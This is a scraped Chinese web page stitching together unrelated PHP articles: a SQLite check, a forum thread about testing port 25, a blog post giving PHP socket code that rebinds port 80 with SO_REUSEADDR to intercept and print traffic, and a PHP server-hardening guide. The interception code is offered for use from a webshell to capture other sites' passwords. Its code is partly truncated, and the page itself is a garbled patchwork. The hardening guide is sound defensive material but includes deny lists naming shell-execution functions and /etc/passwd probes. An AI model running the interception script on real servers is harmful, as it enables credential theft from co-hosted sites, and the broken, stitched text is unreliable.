DNF电脑电脑麻将单机版下载那里有得下载

PHP判断服务器是否支持SQLite数据库_最火下载站
您的位置: >
> PHP判断服务器是否支持SQLite数据库
PHP判断服务器是否支持SQLite数据库
在网上搜了一下,好像没有发现有此问题的解答,现在Gonten就分享一下这函数,虽然很简单,但我想对一些朋友也用得着。 我之前也是不知道如何判断,PHP手册里也没有,就跑去PHP100论坛去问大侠了,得出了答案,测试OK! 判断函数是:extension_loaded(&sqlite&),支持时返回TRUE,不支持返回FALSE 如: if (extension_loaded(&sqlite&)) { echo &支持&; }else{ echo &不支持&; }
上一篇: 下一篇:个人大侠 怎么用php判断服务器是否开启了25端口_php吧_百度贴吧
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&签到排名:今日本吧第个签到,本吧因你更精彩,明天继续来努力!
本吧签到人数:0成为超级会员,使用一键签到本月漏签0次!成为超级会员,赠送8张补签卡连续签到:天&&累计签到:天超级会员单次开通12个月以上,赠送连续签到卡3张
关注:123,698贴子:
个人大侠 怎么用php判断服务器是否开启了25端口收藏
怎么用php判断服务器是否开启了25端口求解!~~!
上海php软件开发培训,汇道php培训,「大专以上」学员,0元入学,一周免费试听!上海php软件开发培训,汇道php教育培训,学成高薪就业,先就业,再付款!
没人知道吗!!!~
socket 尝试连接
调用系统命令
系统命令:telnet
ping 也可以
telnet 192.168.1.100 25
还有一些抓包工具的指令。也可以。
空间是防ping的!
php 网站上猪八戒网,10秒发需求,千万家企业免费提供专属方案!0成本!0元建站+定制模版,让您轻松拥有网站!
这是 telnet
不行,直接是空白的!
不是有人答了吗socket相关指令
恩,我去查查去!@
登录百度帐号推荐应用
为兴趣而生,贴吧更懂你。或教你怎么利用php来嗅探劫持服务器数据 - PHP当前位置:& &&&教你怎么利用php来嗅探劫持服务器数据教你怎么利用php来嗅探劫持服务器数据&&网友分享于:&&浏览:0次教你如何利用php来嗅探劫持服务器数据
前几天刺在我们的maillist发了一个老外写的文章,大意是可以用php来实现数据的劫持和转发。我瞄了一下,确实可行,于是今天抽出了以前用来扯淡的时间,写了段代码验证了一下想法。老外的原文是一个PDF,有兴趣看的可以看看。地址是在:http://www.secforce.co.uk/media/presentations/OWASP_Abusing_PHP_sockets.pdf。其实关于这个的原理,我记得很早很早之前flashsky就在xfocus上面贴过通过SO_REUSEADDR实现端口重复绑定的,mix还写过一个 guest权限嗅探密码的。我这里比较不同的是用php实现的,可以在webshell里面用,当然我没有测试过,我没shell。
需要注意的是,这个东西和以前的《PHP下实现端口复用/劫持》是完全不一样的,那个文章可以在这里找到:/info/html/wangluobiancheng/Phpbiancheng/39.html。至于为什么不一样,我就不说了。
代码我注释得很详细,个人觉得写得还不错,不细说。这里大概说一下技术上的难点。首先是在web里面,没有多线程也没有多进程,但是每一个新连接进来就要去处理,应该怎么做?显然不能顺序执行,因为光accept那里就会被阻塞住的,而且后面每一个session也需要分别处理的。还好查手册发现经典的socket_select函数可用,有这个就好说了,专业实现多路复用的。
PHP代码如下,有详细注释。blog贴的,所以代码可能会掉些东西,其他的支持我就不提供了,看代码:
&?php class select { var $
// 构造函数 function select($sockets) { $this-&sockets = array();
foreach($sockets as $socket) { $this-&add($socket); } }
function add($add_socket) { //array_push($this-&sockets, $add_socket); $this-&sockets[] = $add_ }
// 利用临时数组来删除数组中的元素 function remove($remove_socket) { $tmp_sockets = array();
foreach($this-&sockets as $socket) { if($remove_socket != $socket) { $tmp_sockets[] = $ } }
$this-&sockets = $tmp_ }
// 检查socket数组是否可读,传入超时时间,返回socket数组 function can_read($timeout) { $read = $this-& socket_select( $read, $write = NULL, $except = NULL, $timeout ); return $ }
// 检查socket数组是否可写,传入超时时间,返回socket数组 function can_write($timeout) { $write = $this-& socket_select( $read = NULL, $write, $except = NULL, $timeout ); return $ } }
// 网页不超时 set_time_limit(0);
// 即时输出数据,不缓冲 ob_end_clean(); ob_implicit_flush(true);
if( !isset($_GET["listen_ip"]) ) { } if( $_GET["listen_ip"] == "" ) { }
$listen_ip = $_GET["listen_ip"]; $listen_port = 80;
// 建立socket $listen_sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
// 设置重复绑定 socket_set_option($listen_sock, SOL_SOCKET, SO_REUSEADDR, 1);
// 明确指定绑定IP地址,优先获取数据 socket_bind($listen_sock, $listen_ip, $listen_port);
// 开始监听 socket_listen ($listen_sock);
echo "listen on ".htmlentities($listen_ip)." :".$listen_port."&br /&";
// 创建socket数组,使用select来轮询 $check_socks = array($listen_sock);
// 映射客户端socket和服务端socket // $socket_maps1将客户端socket作为key // $socket_maps2将服务端socket作为key // 以内存换速度,并且方便下面的搜索 $socket_maps1 = array( ); $socket_maps2 = array( );
....................................................................
while(true) { /* print_r( $socket_maps ); print "&br /&"; */ // select轮询,超时2秒 foreach ($select-&can_read(1) as $socket) { // listen_sock可读,说明有人连接上来了 if( $socket == $listen_sock ) { // 接受新连接,并加入到轮训数组 $new_client = socket_accept($listen_sock); $select-&add($new_client);
socket_getpeername($new_client, $ip, $port); echo "New client connected: $ip, $port&br /&";
// 建立到真实服务器的socket $server_sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP); socket_connect($server_sock,"127.0.0.1", $listen_port);
// 建立真实服务器socket和真实客户端socket之间的映射关系 $socket_maps1[$new_client] = $server_ $socket_maps2[$server_sock] = $new_
// 添加到select轮询中 $select-&add($server_sock);
// $listen_sock的可读数据是因为有新连接,已经处理了。暂时去掉,因为下面开始处理数据转发 //select-&remove( $listen_sock ); }
// 其他socket可读,表示有数据需要中转 else { // 读取数据,失败则从轮询socket中删除,并关闭socket $client_data = @socket_read($socket, 1024, PHP_NORMAL_READ); if ($client_data === false) { socket_close( $socket ); $select-&remove( $socket ); echo "client disconnected.&br /&";
// 如果socket在$socket_maps1的key中,说明是从客户端读到了数据 if( in_array( $socket, array_keys($socket_maps1)) ) { //echo "readed from client.&br /&"; if( ! socket_write( $socket_maps1[$socket], $client_data ) ) { socket_close( $socket ); socket_close( $socket_maps1[$socket] ); $select-&remove( $socket ); $select-&remove( $socket_maps1[$socket] ); print "Write to server error.&br /&"; } print htmlentities($client_data)."&/b&&br /&"; } // 否则如果socket在$socket_maps2的key中,说明是从真正的web服务器读到了数据 elseif( in_array( $socket, array_keys($socket_maps2) ) ) { //echo "readed from server.&br /&"; if( ! socket_write( $socket_maps2[$socket], $client_data ) ) { socket_close( $socket ); socket_close( $socket_maps2[$socket] ); $select-&remove( $socket ); $select-&remove( $socket_maps2[$socket] ); print "Write to client error.&br /&"; } print htmlentities($client_data)."&/b&&br /&"; } } } }
这个东西有什么作用?自由发挥。也许你有一个webshell,但是却想知道同一个服务器上面别人网站的密码……我是在windows xp+apache测试的,据我所知windows2003默认已经不准重复绑定端口了。
详细页面:/demo_c116_i115729.html
12345678910
12345678910
12345678910 上一篇:下一篇:文章评论相关解决方案 12345678910 Copyright & &&版权所有& php中如何判断一个IP地址是否属于某个网络地址段
php中如何判断一个IP地址是否属于某个网络地址段
这个问题困扰我很久了。很多人的做法是使用正则文字验证开头文字是否匹配。但是这种方式有很大的局限性,只能判断类似192.168.1.9是否属于192.168.1.0/24这种一眼就能看出来的地址段,无法判断那些需要网络地址计算才能知道答案的情况。
例如,172.16.74.2和172.16.53.2这两个地址,哪个属于172.16.0.1/18地址段?
终于找到网上一个大拿写的判断逻辑,非常好用。可以直接拿来使用该函数。永久收藏了!
– Function to determine if an IP is located in a specific range as specified via several alternative formats.
这位大拿其实写了好几个实用小程序,全是短平快的。
本文由 [] 原创,转载请注明转自:兔大侠和他的朋友们
如果你觉得本博内容不错,欢迎 [],以便第一时间了解本博更新内容;
本文链接:欢迎光临杨雨的个人博客站!
关注互联网和搜索引擎的个人博客网站
系统管理员必看的25个PHP安全实践
发布时间:  编辑:   点击:   文章来源:
PHP是广泛使用的开源服务端脚本语言。通过HTTP或HTTPS协议,Apache Web服务允许用户访问文件或内容。服务端脚本语言的错误配置会导致各种问题。因此,PHP应该小心使用。以下是为系统管理员准备的,安全配置PHP的25个实践事例。
用于下文的PHP设置样例
下午列出的大部分操作,都是基于 root 用户能在 bash 或其他现代 shell 上执行操作的假设。
PHP 5.3.3 (cli) (built: Oct 24 :41)
Copyright (c)
The PHP Group
Zend Engine v2.3.0, Copyright (c)
Zend Technologies
本文使用的操作系统
$ cat /etc/redhat-release
Red Hat Enterprise Linux Server release 6.1 (Santiago)
基于PHP的应用面临着各种各样的攻击:
#2:减少内建的PHP模块
执行下面指令可以查看当前PHP所编译的模块
样例输出:
[PHP Modules]
&pdo_mysql
&pdo_sqlite
&Reflection
&SimpleXML
&tokenizer
&xmlreader
&xmlwriter
&[Zend Modules]
从性能与安全性的角度考虑,我建议使用PHP时减少不必要的模块。例如上面的sqlite3是不必要的。那么可以通过删除或重命名/etc/php.d/sqlite3.ini文件来取消它:
# rm /etc/php.d/sqlite3.ini
# mv /etc/php.d/sqlite3.ini /etc/php.d/sqlite3.disable
有些模块则只能通过使用重新编译安装PHP来移除。例如,从php.net下载PHP源码后,使用下面指令编译GD,fastcgi和MySQL支持:
./configure --with-libdir=lib64 --with-gd --with-mysql --prefix=/usr --exec-prefix=/usr --bindir=/usr/bin --sbindir=/usr/sbin --sysconfdir=/etc --datadir=/usr/share --includedir=/usr/include --libexecdir=/usr/libexec --localstatedir=/var --sharedstatedir=/usr/com --mandir=/usr/share/man --infodir=/usr/share/info --cache-file=../config.cache --with-config-file-path=/etc --with-config-file-scan-dir=/etc/php.d& --enable-fastcgi --enable-force-cgi-redirect
更多信息请查看:how to compile and reinstall php on Unix like operating system
#3:防止PHP信息泄漏
可以通过取消export_php,对PHP信息泄漏进行限制。编辑/etc/php.d/security.ini如下:
expose_php=Off
expose_php会在HTTP Header中添加服务器上,包括版本在内的PHP信息(例如X-Powered-By: PHP/5.3.3)。同时,PHP的全局统一标识符也会暴露。如果export_php启用的话,可以通过下面命令查看PHP版本信息:
$ curl -I http://www.cyberciti.biz/index.php
样例输出:
HTTP/1.1 200 OK
X-Powered-By: PHP/5.3.3
Content-type: text/ charset=UTF-8
Vary: Accept-Encoding, Cookie
X-Vary-Options: Accept-Elist-contains=gzip,Cstring-contains=wikiTstring-contains=wikiLoggedOstring-contains=wiki_session
Last-Modified: Thu, 03 Nov :55 GMT
建议同时隐藏Apache版本等信息:ServerTokens and ServerSignature directives in httpd.conf to hide Apache version
#4:最小化可载入的PHP模块(动态Extension)
PHP支持&Dynamic Extensions&。默认情况下,RHEL会载入/etc/php.d/目录下的所有Extension模块。如需启用或取消某一模块,只需把/etc/php.d/目录下配置文件把该模块注释掉。也可以把文件删除或重命名该模块的配置文件。为了最优化PHP的性能和安全性,应只启用Web应用所需的Extension。例如,用下面命令取消GD模块:
# cd /etc/php.d/
# mv gd.{ini,disable}
# &span style=&text-decoration:&&/sbin/service httpd restart&/span&
启用则是:
# mv gd.{disable,ini}
# &span style=&text-decoration:&&/sbin/service httpd restart&/span&
#5:记录所有PHP错误
不要把PHP错误信息输出给所用用户。编辑/etc/php.d/security.ini,如下修改:
display_errors=Off
确保把所有错误信息记录到日志文件
log_errors=On
error_log=/var/log/httpd/php_scripts_error.log
#6:禁止文件上传
为安全考虑,如下编辑/etc/php.d/security.ini取消文件上传
file_uploads=Off
如用户的确需要上传文件,那么把它启用,而后限制PHP接受的最大文件大小:
file_uploads=On
# user can only upload upto 1MB via php
upload_max_filesize=1M
#7:关闭远程代码执行
如果这个特性被启动,PHP可以通过allow_url_fopen,在file_get_contents()、include、require中获取诸如FTP或网页内容这些远程数据。程序员经常忘记了对用户输入进行过滤,而如果这些函数调用了这些数据,则形成了注入漏洞。在基于PHP的Web应用中,大量代码中的注入漏洞都由此产生。可以通过编辑/etc/php.d/security.ini来关闭该特性:
allow_url_fopen=Off
除此之外,建议把allow_url_include也取消掉:
allow_url_include=Off
#8:启用SQL安全模式
如下修改/etc/php.d/security.ini:
sql.safe_mode=On
当此特性被启用,mysql_connect()和mysql_pconnect()会忽略传入的所有参数。与此同时,你需要在代码上做些相应的修改。第三方以及开源应用,如Wordpress,在sql.safe_mode下可能无法正常工作。同时建议关闭5.3.x版本的PHP的magic_quotes_gpc过滤,因为它简单粗暴又没效率。使用mysql_escape_string()以及自定义的过滤函数会更好一些
magic_quotes_gpc=Off
#9:控制POST的数据大小
HTTP POST通常作为请求的一部分,被客户端用于向Apache Web服务器发送数据,如上传文件或提交表单。攻击者会尝试发送超大的POST请求去消耗服务器的资源。如下编辑/etc/php.d/security.ini限制POST的最大大小:
; 在这里设置一个靠谱的数值
post_max_size=1K
这里设置了1K的最大大小。这个设置会影响到文件上传。要上传大文件,这个值需要比update_max_filesize大。
建议在Apache中限制可用的请求方法,编辑httpd.conf如下:
&Directory /var/www/html&
&&&& &LimitExcept GET POST&
&&&&&&&& Order allow,deny
&&&& &/LimitExcept&
## Add rest of the config goes here... ##
&/Directory&
#10:资源控制(DoS控制)
设置每个PHP脚本的最大运行时间。另外建议限制用于处理请求数据的最大时间,以及最大可用内存数。
# 单位:秒
max_execution_time = 30
max_input_time = 30
memory_limit = 40M
#11:为PHP安装Suhosin高级保护系统
具体参考Suhosin项目页:project page
#12:取消危险的PHP函数
PHP有大量可用于入侵服务器的函数,如使用不当则会成为漏洞。如下取消这些函数:
disable_functions =exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source
#13:PHP Fastcgi / CGI & cgi.force_redirect管理
PHP可与Fastcgi协同工作。Fastcgi可以减少Web服务器的内存足迹(memory footprint),并改善PHP性能。可以参考这个来配置Apache2+PHP+FastCGI。在这个配置中,cgi.force_redirect会阻止用户通过访问URL来调用PHP。为安全考虑,启用该特性:
; Enable cgi.force_redirect for security reasons in a typical *Apache+PHP-CGI/FastCGI* setup
cgi.force_redirect=On
#14:PHP用户与用户组ID
mod_fastcgi是Apache Web服务的一个cgi模块,可连接到外部的FASTCGI服务器。你需要确保PHP使用非root用户运行。若其使用root或是UID小于100的用户权限,它就可以访问,乃至操作系统文件。通过Apache&s suEXEC或mod_suPHP,可在非特权用户下执行PHP CGI。suEXEC可以是Apache调用CGI程序的user ID不同于运行Apache的user ID。如下:
# ps aux | grep php-cgi
样例输出:
phpcgi&&&&& & 0.4 40&&&&&&&&& S&&& Nov22&& 0:12 /usr/bin/php-cgi
phpcgi&&&&& & 0.5 20&&&&&&&&& S&&& Nov22&& 0:11 /usr/bin/php-cgi
phpcgi&&&&& & 0.4 60&&&&&&&&& S&&& Nov22&& 0:18 /usr/bin/php-cgi
phpcgi&&&&& & 0.4 48&&&&&&&&& S&&& Nov22&& 0:11 /usr/bin/php-cgi
phpcgi&&&&& & 0.4 56&&&&&&&&& S&&& Nov22&& 0:11 /usr/bin/php-cgi
phpcgi&&&&& & 0.5 20&&&&&&&&& S&&& 00:52&& 0:19 /usr/bin/php-cgi
phpcgi&&&&& & 0.5 52&&&&&&&&& S&&& 00:55&& 0:12 /usr/bin/php-cgi
可以通过spawn-fcgi来生成phpcgi用户的远程或本地FastCGI进程(前提是有这个用户):
# spawn-fcgi -a 127.0.0.1 -p 9000 -u phpcgi -g phpcgi -f /usr/bin/php-cgi
现在可以配置Apache、Lighthttpd或Nginx Web服务调用运行在127.0.0.1:9000的FastCGI。
#15:限制PHP访问文件系统
open_basedir会限制PHP的运行目录,例如通过fopen()之类的函数可访问的目录。如果访问的目录不在open_basedir之内,PHP会拒绝该访问。不要使用软链接作为工作区。例如,只允许访问/var/www/html而非/var/www、/tmp或/etc目录:
; Limits the PHP process from accessing files outside
; of specifically designated directories such as /var/www/html/
open_basedir=&/var/www/html/&
; ------------------------------------
; Multiple dirs example
; open_basedir=&/home/httpd/vhost/cyberciti.biz/html/:/home/httpd//html/:/home/httpd/vhost/theos.in/html/&
; ------------------------------------
#16:Session路径
PHP Session用户提供数据保存功能,以便后续访问。这可以使应用可定制性更强,提升吸引力。所有Session相关的数据会被保存在session.save_path中。RHEL/CentOS/Fedora Linux的默认设置如下:
session.save_path=&/var/lib/php/session&
; Set the temporary directory used for storing files when doing file upload
upload_tmp_dir=&/var/lib/php/session&
确认这个路径在/var/www/html之外,且不可被其他系统用户访问:
# ls -Z /var/lib/php/
样例输出:
drwxrwx---. root apache system_u:object_r:httpd_var_run_t:s0 session
注:ls -Z会显示SELinux的安全信息,如文件模式,user,group,安全信息,文件名等。
#17:保证PHP,软件及操作系统更新到最新
维护Linux、Apache、PHP和MySQL服务器的一项重要工作是更新安全补丁。所有的PHP安全更新应尽快进行审查并更新。可使用如下命令(如果通过包管理器来安装PHP):
# yum update
# apt-get update && apt-get upgrade
可以配置Red Hat / CentOS / Fedora Linux通过Email发送yum的包更新提醒,或是Debian / Ubuntu Linux下的apticron发送提醒。又或通过cron计划任务进行更新。
注:查看php.net以获取最新的PHP版本信息
#18:限制文件及目录访问
确认以Apache或www这种非root用户运行Apache。/var/www/html目录下的owner也应是非root用户:
# chown -R apache:apache /var/www/html/
DocumentRoot下的文件应禁止运行或创建。设置该目录下的文件权限为0444(只读):
# chmod -R 0444 /var/www/html/
设置该目录下的所有文件夹权限为0445
# find /var/www/html/ -type d -print0 | xargs -0 -I {} chmod 0445 {}
#19:Apache、PHP、MySQL配置文件的写入保护
使用chattr命令给这些配置文件加上写入保护:
# chattr +i /etc/php.ini
# chattr +i /etc/php.d/*
# chattr +i /etc/my.ini
# chattr +i /etc/httpd/conf/httpd.conf
# chattr +i /etc/
同样可以为/var/www/html目录加上写入保护
# chattr +i /var/www/html/file1.php# chattr +i /var/www/html/
#20:使用Linux安全拓展(如SELinux)
Linux有各种安全方案来防止服务程序的错误配置或漏洞。尽可能使用SELinux或其他Linux安全方案限制网络和程序。例如,SELinux为Linux内核或Apache Web服务提供不同的安全策略。使用下面命令列出所有Apache保护信息:
# getsebool -a | grep httpd
样例输出:
allow_httpd_anon_write --& off
allow_httpd_mod_auth_ntlm_winbind --& off
allow_httpd_mod_auth_pam --& off
allow_httpd_sys_script_anon_write --& off
httpd_builtin_scripting --& on
httpd_can_check_spam --& off
httpd_can_network_connect --& off
httpd_can_network_connect_cobbler --& off
httpd_can_network_connect_db --& off
httpd_can_network_memcache --& off
httpd_can_network_relay --& off
httpd_can_sendmail --& off
httpd_dbus_avahi --& on
httpd_enable_cgi --& on
httpd_enable_ftp_server --& off
httpd_enable_homedirs --& off
httpd_execmem --& off
httpd_read_user_content --& off
httpd_setrlimit --& off
httpd_ssi_exec --& off
httpd_tmp_exec --& off
httpd_tty_comm --& on
httpd_unified --& on
httpd_use_cifs --& off
httpd_use_gpg --& off
httpd_use_nfs --& off
取消Apache cgi支持可以输入:
# setsebool -P httpd_enable_cgi off
详细参考:Red Hat SELinux guide
#21:安装Mod_security
ModSecurity是一个开源的入侵检测和防范的Web应用引擎。安装mod_security可以保护Apache和PHP应用免受XSS和其他攻击:
## A few Examples ##
# Do not allow to open files in /etc/
SecFilter /etc/
# Stop SQL injection
SecFilter &delete[[:space:]]+from&
SecFilter &select.+from&
#22:如有可能,在Chroot Jail下运行Apache / PHP
在Chroot Jail下运行Apache / PHP可以最小化可能受到的损失,使其局限于文件系统下的一小块。可以使用一般的chroot来配置Apache:chroot kind of setup with Apache。不过我建议使用FreeBSD jails、XEN,KVM或OpenVZ虚拟化。
#23:使用防火墙限制传出连接
攻击者会使用wget之类的工具从你的Web服务器下载文件。使用iptables来阻挡Apache用户的传出连接。ipt_owner模块会为本地数据包的生成者分配不同角色。它只对OUTPUT chain有效。下面指令允许vivek用户通过80端口进行外部访问:
/sbin/iptables -A OUTPUT -o eth0 -m owner --uid-owner vivek -p tcp --dport 80 -m state --state NEW,ESTABLISHED& -j ACCEPT
下面的样例则是阻挡所有Apache用户的传出连接,只允许smtp服务及spam识别API服务通过:
/sbin/iptables --new-chain apache_user
/sbin/iptables --append OUTPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
/sbin/iptables --append OUTPUT -m owner --uid-owner apache -j apache_user
# allow apache user to connec to our smtp server
/sbin/iptables --append apache_user -p tcp --syn -d 192.168.1.100 --dport 25 -j RETURN
# Allow apache user to connec to api server for spam validation
/sbin/iptables --append apache_user -p tcp --syn -d& 66.135.58.62 --dport 80 -j RETURN
/sbin/iptables --append apache_user -p tcp --syn -d& 66.135.58.61 --dport 80 -j RETURN
/sbin/iptables --append apache_user -p tcp --syn -d& 72.233.69.89 --dport 80 -j RETURN
/sbin/iptables --append apache_user -p tcp --syn -d& 72.233.69.88 --dport 80 -j RETURN
#########################
## Add more rules here ##
#########################
# No editing below
# Drop everything for apache outgoing connection
/sbin/iptables --append apache_user -j REJECT
#24:查看并审查日志
查看Apache日志文件:
# tail -f /var/log/httpd/error_log
# grep 'login.php' /var/log/httpd/error_log
# egrep -i &denied|error|warn& /var/log/httpd/error_log
查看PHP日志文件:
# tail -f /var/log/httpd/php_scripts_error.log
# grep &...etc/passwd& /var/log/httpd/php_scripts_error.log
查看日志文件可以让你知道服务器正在承受何种攻击,并分析当前安全级别是否足够。启用审查服务用于系统审查,可审查SELinux时间,验证事件,文件修改,账号修改等。建议使用Linux System Monitoring Tools来监控Web服务器。
#25:把服务分离到不同的服务器或虚拟机
对于比较庞大的安装配置,建议把运行、数据库、静态与动态内容分离到不同的服务器
在不同的服务器或虚拟机下运行不同的网络服务,这可以减少被入侵对其他服务的影响。例如,一个攻击者入侵了Apache,那就可以访问同一服务器下的其他服务(如MySQL,email服务等)。但在上述例子中则不会:
static.lan.cybercity.biz & 使用lighttpd或nginx存放js/css/images等静态资源
phpcgi1.lan.cyberciti.biz和phpcgi2.lan.cyberciti.biz & Apache Web服务+PHP,用于生成动态内容
mysql1.lan.cyberciti.biz & MySQL数据库服务
mcache1.lan.cyberciti.biz & Memcached服务(MySQL的高速缓存系统)。它使用libevent或epoll来适应任意连接数。而且它使用的是非阻塞网络IO。
LB01 & 一个Nginx服务器,用于Web及Apache前端的反向代理。所有的访问连接会通过nginx代理服务,被直接处理或分发到相应的Web服务器。LB01提供简单的负载均衡。
本文地址:/itnews/295.html
转载请注明出处。
分享是一种快乐,也是一种美德:
与《系统管理员必看的25个PHP安全实践》相关文章
评论列表(网友评论仅供网友表达个人看法,并不表明本站同意其观点或证实其描述)
滇ICP备号-1

我要回帖

更多关于 电脑三国杀单机版下载 的文章

 

随机推荐